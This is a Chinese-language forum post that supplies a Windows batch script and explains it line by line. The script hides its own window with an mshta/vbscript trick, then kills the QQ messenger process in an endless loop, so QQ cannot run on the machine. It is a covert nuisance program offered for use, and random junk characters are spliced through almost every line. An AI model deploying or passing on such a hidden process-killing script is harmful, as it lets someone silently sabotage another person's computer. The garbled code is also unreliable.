|
|
|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。 U4 d0 d6 I2 h6 D
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
; h6 s# b" x+ }3 T6 }. P/ c$ V
0 X1 ^6 s* w! P! S* X- U@echo off
( x% w5 C" ~ `8 S# V) W, n6 Q yif "%1" == "h" goto begin 2 l+ {4 U, `$ Q+ ~
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
$ Y+ W' k e5 E) l2 S# _; q:begin $ R8 r/ t5 u4 v
tasklist |find /i "QQ.exe"
* b7 n% z' i. ~6 X6 Y* S2 yif %errorlevel%==0 (goto killit) else (goto next)
3 |5 l# P4 R9 ?9 G' h7 F:killit
( ^9 ~# t. ^) S( H5 s; P; j4 |7 wtaskkill /f /im QQ.exe
& r* ?: z9 w5 |/ C1 `:next ) s- H2 w4 j) {% m" @/ Q9 o
ping -n 3 127.t >nul 2>nul
4 q9 H/ ?) _4 N* \$ agoto begin 3 q4 X$ `) ~7 N' t
( L! E% h z1 g: I代码到此为止
+ _: c: F- Q# }讲解如下: 6 | L) h+ x) N( m3 W0 {" ~6 ^& i: R
@echo off ------关闭回显 * d# ?. E# N7 ~. R) M8 Q% w
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
. m$ |2 K; I7 ]' e9 C* C3 fmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
% n* V ~, a- @/ n* @+ C2 p+ e:begin ------------定一段名begin ) |) [3 b7 c @: n* Z8 ^5 X6 P2 E( v
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
8 ^ Q; |% _1 n/ ^) `' W$ I* W% Aif %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next ) f' M* X, U/ V5 h0 E0 V( a$ C$ u
:killit {. o. E/ ^+ \4 {( G1 a, {
taskkill /f /im QQ.exe----终结进程QQ.exe 8 p! P; U' X8 L
:next 7 \/ s, z. ^$ {& ?
ping -n 3 127.t >nul 2>nul -----延迟一段时间
8 y- S- p, f5 xgoto begin--------------返回执行begin
5 u; v9 Z2 I, y0 c% S2 ^ |
|